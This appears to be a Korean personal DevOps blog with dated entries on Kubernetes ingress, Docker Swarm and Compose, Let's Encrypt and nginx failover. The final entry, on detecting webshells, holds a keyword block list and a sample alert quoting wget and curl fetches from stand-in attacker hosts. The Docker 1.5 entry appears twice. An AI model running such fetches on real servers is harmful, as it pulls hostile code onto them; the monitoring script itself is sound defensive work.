선택은 nginx-ingress-controller. traefik도 고려했는데 사내 nginx 경험 많아서 디버깅 편한 쪽으로.

apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  name: web
  annotations:
    kubernetes.io/ingress.class: nginx
    nginx.ingress.kubernetes.io/rewrite-target: /
    nginx.ingress.kubernetes.io/proxy-body-size: 20m
spec:
  tls:
  - hosts:
    - api.example.com
    secretName: api-tls
  rules:
  - host: api.example.com
    http:
      paths:
      - path: /v1
        backend:
          serviceName: api-v1
          servicePort: 80
      - path: /v2
        backend:
          serviceName: api-v2
          servicePort: 80

인증서는 cert-manager 도입. Let's Encrypt로 자동 발급/갱신. ingress에 annotation 하나 달고 Issuer 만들면 끝. 수동 인증서 발급하던거랑 비교하면 정말 편함.

metadata:
  annotations:
    cert-manager.io/cluster-issuer: "letsencrypt-prod"

뻘짓한 포인트:

1. proxy-body-size 기본 1m. 업로드 API에서 413 뜸. annotation으로 늘려야 함. 이거 찾는데 한 시간.

2. rewrite-target. path: /v1 로 매칭했을때 백엔드에는 / 만 전달하려면 rewrite 필요. 아니면 백엔드가 /v1/* 를 받게 되어 라우팅 꼬임.

3. health check. ingress-controller 자체가 죽지 않게 PDB (PodDisruptionBudget) 걸어둠. 노드 drain 때 전체 다운 안 되도록.

4. sticky session. 세션 고정이 필요한 서비스는 annotation:

nginx.ingress.kubernetes.io/affinity: cookie
nginx.ingress.kubernetes.io/session-cookie-name: sticky

이관 후 LoadBalancer 인스턴스 개수 7개 → 1개 (ingress용). 비용 2/3 절감. 배포 유연성도 올라감. 도메인/경로 기반 라우팅을 Ingress 리소스로 선언적으로 관리하니 리뷰/기록이 깔끔.

다음 숙제는 external-dns로 Route53 레코드까지 자동화. 점점 GitOps 방향으로 가는 중.

20170408

Docker Swarm 운영 vs K8s 이관

6개월 전 docker swarm mode (1.12 부터 통합된 그거)로 올려놨던 서비스 몇개. 이제 k8s로 이전하는 중. 왜 바꿨는지 정리.

swarm 좋았던 점:

  • docker compose 익숙하면 러닝커브 제로 수준. docker stack deploy -c docker-compose.yml mystack
  • 기본 세팅이 빠름. docker swarm init 한 줄
  • built-in routing mesh — 어느 노드로 요청 오든 해당 서비스 컨테이너로 라우팅

swarm 한계:

  • ingress controller / 복잡한 라우팅 규칙 제한적
  • configmap은 있는데 secret rotation 같은 운영 기능이 덜 무르익음
  • helm 같은 패키지 매니저 생태계 없음. 직접 stack 파일 관리
  • 커뮤니티 확장이 k8s 대비 훨씬 적음. 모니터링/로깅 도구 연동이 번거로움
  • 대규모 클러스터 (수백 노드) 운영 사례가 많지 않음

k8s 쪽에서 지금 쓰는 것들:

  • deployment / service / ingress
  • configmap / secret
  • helm chart (prometheus, grafana 등 기본 스택)
  • nginx-ingress-controller
  • cert-manager (let's encrypt 자동 발급)

마이그 진행방식: 서비스별로 helm chart 만들고, stage에서 동시에 swarm/k8s에 띄워놓고 비교 → k8s 쪽으로 DNS 스위치 → swarm 측 철수. 한번에 넘기지 않고 점진적으로.

빡셌던 건 ingress 쪽. swarm의 routing mesh처럼 암묵적 분배가 되는게 아니라 명시적 ingress 리소스 만들고 rule 정의 해야됨. 처음엔 귀찮은데 익숙해지면 강력함.

apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  name: web-ingress
  annotations:
    kubernetes.io/ingress.class: "nginx"
spec:
  rules:
  - host: api.example.com
    http:
      paths:
      - path: /
        backend:
          serviceName: web
          servicePort: 80

결론: 소규모 / 단순 케이스에서는 swarm이 여전히 간편하고 충분. 근데 조금만 요구사항 커져도 k8s로 가는게 장기적으로 덜 피곤. 커뮤니티 모멘텀이 k8s로 완전히 쏠린게 체감됨. 회사 표준도 k8s로 맞출 계획.

20160822

Kubernetes 1.3 실사용 감상

Kubernetes 1.3 올라왔고 회사에서 파일럿 클러스터 구축 지시. 몇 주 써본 소감.

환경: 자체 서버 3노드 (kubeadm 아직 공식 아님 → 1.4 쯤 추가 예정이라는 얘기. 우리는 kube-up.sh 대신 수동 설치). ubuntu 14.04 위에 etcd, kube-apiserver 등 수동 배치. 설치가 정말 빡셈.

처음 부딪힌 개념들:

  • Pod — 컨테이너의 단위라기보다 "같은 lifecycle을 공유하는 컨테이너 그룹"
  • ReplicationController → 1.2부터 ReplicaSet + Deployment로 바뀜. 이제 Deployment 쓰면 됨
  • Service — Pod의 IP가 바뀌어도 안정적 접근점 제공. ClusterIP / NodePort / LoadBalancer
  • ConfigMap / Secret — 1.2부터 공식 stable. 환경변수/설정파일 주입

간단한 deploy + service yaml:

apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: web
spec:
  replicas: 3
  template:
    metadata:
      labels: { app: web }
    spec:
      containers:
      - name: web
        image: registry.internal/web:1.2.3
        ports: [{ containerPort: 8080 }]
---
apiVersion: v1
kind: Service
metadata: { name: web }
spec:
  selector: { app: web }
  ports: [{ port: 80, targetPort: 8080 }]
  type: ClusterIP

kubectl apply -f deploy.yaml 로 반영.

좋은 점: 롤링 업데이트가 진짜 쉬움. 이미지 태그만 바꿔 kubectl set image 하면 자동으로 순차 교체. health check 기반이라 새 pod 준비된 다음에 예전 pod 삭제.

빡센 점:

  • 네트워킹. 오버레이 네트워크 필수 (우리는 flannel). CNI 세팅 안 맞으면 Pod끼리 통신 안 됨
  • 영속 볼륨. PV/PVC 개념이 복잡. NFS로 대충 붙여놨는데 production은 더 고민해야 함
  • Ingress는 1.3 기준 아직 베타. nginx ingress controller 따로 띄워서 검토중
  • 모니터링/로그. 기본 툴 부족. Heapster + Grafana 세팅 권장

학습 곡선이 진짜 가파른데, 갖춰놓고 나면 배포는 너무 편함. 3개월쯤 운영해보고 본서비스 이관 여부 판단 예정. 지금은 Docker Compose + swarm 조합이랑 병행.

20160211

Docker Compose 운영 레시피

Compose v1.6 쓰면서 몇 달 굴려본 운영 레시피. 아직 single host 한정 (멀티노드는 swarm 보고있는중).

기본 셋업은 web + db + redis + nginx 조합이 많음. docker-compose.yml 공유.

version: '2'
services:
  web:
    build: .
    env_file: .env
    depends_on:
      - db
      - redis
    restart: unless-stopped
    volumes:
      - ./app:/app
      - logs:/app/logs
  db:
    image: mysql:5.7
    restart: unless-stopped
    environment:
      MYSQL_ROOT_PASSWORD: ${DB_ROOT_PASS}
      MYSQL_DATABASE: app
    volumes:
      - db-data:/var/lib/mysql
  redis:
    image: redis:3.0-alpine
    restart: unless-stopped
    volumes:
      - redis-data:/data
  nginx:
    image: nginx:1.9
    ports:
      - "80:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf:ro
    depends_on:
      - web
volumes:
  db-data:
  redis-data:
  logs:

몇 가지 팁:

1. version: '2' 로 올리면 networks 자동 생성. 각 서비스끼리 hostname으로 접근 가능 (web에서 db:3306). 이전 v1 의 links 방식은 deprecated.

2. restart: unless-stopped. 호스트 재부팅 후에도 자동 재시작. always는 수동으로 stop한 것까지 살리니까 우리는 unless-stopped.

3. depends_on은 start 순서만 보장함. "DB가 connection ready" 를 보장하지 않음. 그래서 web 컨테이너 entrypoint 스크립트에서 mysql 포트 열릴때까지 wait 하는 로직 넣음:

#!/bin/sh
until nc -z db 3306; do
  echo "waiting for db..."
  sleep 1
done
exec "$@"

4. named volume 쓸 것. bind mount는 권한 이슈가 자주 생김 (컨테이너의 uid와 호스트의 uid 맞아야 함).

5. env 관리. 민감값은 env_file로. .env는 git 미포함, .env.sample만 올림.

6. 로그. 운영에서 docker-compose logs로 모든 서비스 로그 통합 조회 가능. 개발 환경에선 -f 로 tail 걸어놓음.

한계는 단일 호스트라는 점. 다음 스텝은 swarm mode 또는 k8s인데 둘 다 운영 경험 없어서 학습 시간 필요.

20150712

Let's Encrypt 베타 — nginx 자동 갱신

Let's Encrypt가 closed beta 풀렸다고 해서 initation 받아봄. 아직 정식 런칭 전이고 public beta는 연말(9월?) 예정이라고 함. 오늘은 체험 메모.

클라이언트 (letsencrypt-auto) 써서 nginx 도메인에 발급 시도.

$ git clone https://github.com/letsencrypt/letsencrypt
$ cd letsencrypt
$ ./letsencrypt-auto --agree-dev-preview --server \
    https://acme-staging.api.letsencrypt.org/directory \
    -d dev.mydomain.com auth

challenge 방식은 http-01. 서버 80 포트로 요청 와서 파일 찾는 방식. webroot에 .well-known/acme-challenge/ 디렉토리 만들어서 파일 놔두면 됨.

nginx 쪽엔 이런 location 추가:

location /.well-known/acme-challenge/ {
    root /var/www/letsencrypt;
}

발급 받은 인증서는 /etc/letsencrypt/live/도메인/ 에 심볼릭 링크로 깔림. nginx ssl config에서 이걸 참조.

ssl_certificate     /etc/letsencrypt/live/dev.mydomain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/dev.mydomain.com/privkey.pem;

갱신은 90일 만기라 cron으로. 일단 아래 스크립트를 주 1회 돌리는 식. 아직 renewal 커맨드가 안정적이지 않아서 갱신 파이프라인은 baked 된 후에 다시 검토 예정.

0 3 * * 0 /opt/letsencrypt/letsencrypt-auto renew --quiet && systemctl reload nginx

발급부터 적용까지 10분이 안 걸림. 공식 런칭되고 rate limit 안정되면 회사 내부 서비스들 (dev, stg) 부터 갈아탈 생각. 갱신 자동화까지 깔끔해지면 상용도 못 쓸 이유 없음.

20150417

Docker 1.5 실전 배포 시작

Docker 1.5가 나온지 좀 됐고, IPv6 지원이랑 stats 명령 생긴게 눈에 띔. 이번 사내 배치 작업 하나 Docker로 넘겨봄. 기록.

앱은 파이썬 스크립트 하나 + 관련 패키지. Dockerfile 대충:

FROM python:2.7-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt
COPY . .
CMD ["python", "worker.py"]

빌드 → private registry push → 서버에서 pull 해서 docker run -d. 기존 방식 대비 배포 절차가 간결해진거는 좋음.

근데 실사용하면서 걸린 것들.

1. 로그. docker logs 로 stdout 볼 수 있지만 파일로 남기려면 별도 수집 필요. 우리는 --log-driver=syslog 로 syslog에 쏨. rsyslog에서 파일로 저장하는 구조.

2. 네트워크. 호스트 모드 --net=host 쓰면 편한데 포트 충돌나면 빡침. bridge 모드 + -p 로 명시. link는 deprecated 느낌이라 피함.

3. 볼륨. -v /host/path:/container/path. 로그, 데이터 디렉토리는 반드시 호스트에 마운트. 컨테이너 날리면 같이 날아가니까.

4. 이미지 빌드 캐시. requirements.txt 먼저 복사하고 pip install, 그 다음에 소스 복사. 이렇게 해야 코드만 바뀐 경우 pip install 단계가 캐시 히트함. 알려진 팁이지만 매번 까먹음.

5. cleanup. 오래된 이미지랑 stopped 컨테이너가 계속 쌓임. cron으로 docker rm $(docker ps -aq -f status=exited)docker rmi $(docker images -f dangling=true -q) 돌림.

서비스 서버 이관은 아직. 배치만 일단. 서비스는 여러 컨테이너 orchestration 필요한데 fig(→compose) 찍먹만 해봄. 다음에 정리.

Docker 1.5 실전 배포 시작

Docker 1.5가 나온지 좀 됐고, IPv6 지원이랑 stats 명령 생긴게 눈에 띔. 이번 사내 배치 작업 하나 Docker로 넘겨봄. 기록.

앱은 파이썬 스크립트 하나 + 관련 패키지. Dockerfile 대충:

FROM python:2.7-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt
COPY . .
CMD ["python", "worker.py"]

빌드 → private registry push → 서버에서 pull 해서 docker run -d. 기존 방식 대비 배포 절차가 간결해진거는 좋음.

근데 실사용하면서 걸린 것들.

1. 로그. docker logs 로 stdout 볼 수 있지만 파일로 남기려면 별도 수집 필요. 우리는 --log-driver=syslog 로 syslog에 쏨. rsyslog에서 파일로 저장하는 구조.

2. 네트워크. 호스트 모드 --net=host 쓰면 편한데 포트 충돌나면 빡침. bridge 모드 + -p 로 명시. link는 deprecated 느낌이라 피함.

3. 볼륨. -v /host/path:/container/path. 로그, 데이터 디렉토리는 반드시 호스트에 마운트. 컨테이너 날리면 같이 날아가니까.

4. 이미지 빌드 캐시. requirements.txt 먼저 복사하고 pip install, 그 다음에 소스 복사. 이렇게 해야 코드만 바뀐 경우 pip install 단계가 캐시 히트함. 알려진 팁이지만 매번 까먹음.

5. cleanup. 오래된 이미지랑 stopped 컨테이너가 계속 쌓임. cron으로 docker rm $(docker ps -aq -f status=exited)docker rmi $(docker images -f dangling=true -q) 돌림.

서비스 서버 이관은 아직. 배치만 일단. 서비스는 여러 컨테이너 orchestration 필요한데 fig(→compose) 찍먹만 해봄. 다음에 정리.

20140408

Nginx upstream 페일오버 설정

backend 두 대 띄워놓고 앞단 nginx에서 failover. 기본 설정으로도 되긴 되는데 세세하게 다시 봄.

upstream backend {
    server 10.0.1.11:8080 max_fails=2 fail_timeout=10s;
    server 10.0.1.12:8080 max_fails=2 fail_timeout=10s;
    server 10.0.1.13:8080 backup;
    keepalive 16;
}

server {
    listen 80;
    location / {
        proxy_pass http://backend;
        proxy_http_version 1.1;
        proxy_set_header Connection "";
        proxy_connect_timeout 2s;
        proxy_read_timeout 10s;
        proxy_next_upstream error timeout http_502 http_503 http_504;
        proxy_next_upstream_tries 2;
    }
}

포인트:

1. max_fails + fail_timeout — fail_timeout 내에 max_fails 만큼 실패하면 그 서버를 fail_timeout 동안 뺌. 기본값이 1/10s 라 너무 민감. 살짝 완화.

2. proxy_next_upstream 에 http_502~504 명시해둠. 기본은 error/timeout만. 502 뜨는 노드는 자동으로 다음 서버로 넘어감.

3. backup 키워드 — 앞의 두 대 다 죽어야 타는 서버. 평소엔 트래픽 안 감.

4. keepalive 16 — 각 워커가 upstream으로 유지할 keepalive conn. http 1.1 써야 효과. Connection "" 로 비워야 함 (그래야 close로 안 닫힘).

헬스체크는 nginx plus에 있는데 오픈소스엔 passive 헬스체크밖에 없다. 능동 체크 하려면 Tengine이나 nginx_upstream_check_module 패치가 필요. 회사에선 그냥 passive로도 충분해서 안 건드림.

추가로 proxy_connect_timeout 2s 는 짧게. 죽은 서버로 빨리 실패해서 다음으로 넘겨야 함. read는 상황 봐서.

20131020

Detect New Files and Send Notification if Suspicious

공유 호스팅 한 대에 의심파일 자꾸 들어와서 inotify 기반으로 감시 스크립트 짜둔 걸 정리. CentOS 6 서버에 FSniper로 새 파일 들어오는 이벤트만 잡고, 핸들러에서 의심 키워드 grep 후 메일 발송하는 단순한 구조다.

inotify는 커널 2.6.13부터 들어가있고 (참조: FSniper – Monitor Newly Created Files in Directory), 우리 서버는 2.6.32라 그냥 됐다. CSF 쪽 cxs (eXploit Scanner)랑 컨셉은 동일한데 그건 유료라서 자체로 한번 만들어봤음.

FSniper 핸들러 — /etc/fsniper/handler/web.sh
#!/bin/bash
output_file='/var/www/html/new_files.txt'
user_owner=`ls -al $1 | awk '{print $3}'`
ip=`hostname -i`
subject='Found something suspicious'
emailto='admin@yourdomain.tld'
message=/tmp/emailmessage.txt

echo $(date +"%Y-%m-%d") $(date +%k:%M) ">>" $1 "|" $user_owner >> $output_file

danger=`egrep -iH '(wget|curl|lynx|gcc|perl|sh|cd|mkdir|touch|base64)' $1 | wc -l`

if [ $danger -gt 0 ]; then
  echo 'Server:' $(hostname) > $message
  egrep -iH '(wget|curl|lynx|gcc|perl|sh|cd|mkdir|touch|base64)' $1 >> $message
  mail -s "$ip | $subject" "$emailto" < $message
fi

키워드는 wget · curl · lynx · gcc · perl · sh · cd · mkdir · touch · base64. 자주 보던 webshell 패턴 위주로 잡았다. base64 키워드는 false positive가 좀 있지만 그래도 의심해볼 가치는 있음.

fsniper 룰 — ~/.config/fsniper/config
watch {
  /var/www/html {
    recurse = true
    *.php, *.txt, *.html {
      handler = /etc/fsniper/handler/web.sh %%
    }
  }
}

의심 메일이 왔을 때는 대충 이런 모양:
From: root
To: admin@yourdomain.tld
Subject: 192.168.1.1 | Found something suspicious

Server: web01
/home/user/public_html/test3.php:wget http://attacker.tld/bad_thing.php
/home/user/public_html/test3.php:curl http://hackers.tld/scripts

운영하면서 깨달은 점 몇가지 메모.

1) FSniper 데몬을 root로 띄우면 권한 문제가 사라지지만 그것대로 위험하다. 보통 nobody 같은 권한 낮은 유저로 띄우고, 핸들러는 특정 디렉토리만 쓸 수 있게 둔다. 우리는 fsniper 라는 전용 유저 만들어서 돌렸음.

2) /var/www/html 전체를 recursive로 감시하면 워드프레스 같은데서 캐시 파일 만들 때마다 이벤트 폭발한다. 처음엔 메일 폭탄 맞았음 ㅠㅠ. wp-content/cache 같은 경로는 fsniper config에서 제외하거나, 핸들러에서 path 패턴 한번 더 거른다.

3) inotify watch 개수에 fs.inotify.max_user_watches 시스템 한도가 있다. 기본값이 8192라 큰 사이트에서는 부족할 수 있음. /etc/sysctl.conf 에 fs.inotify.max_user_watches=524288 정도로 올린다.

4) FSniper 자체가 활발히 유지보수 안되고 있어서, incron 으로 옮길까 고민중. inotifywait 로 wrapper 짜는 것도 방법. 일단 지금 구성으로 6개월째 무사히 잘 돌고 있어서 굳이 안 바꾸고 있다.

출처: http://blog.secaserver.com/2011/06/detect-new-files-and-send-notification-if-suspicious/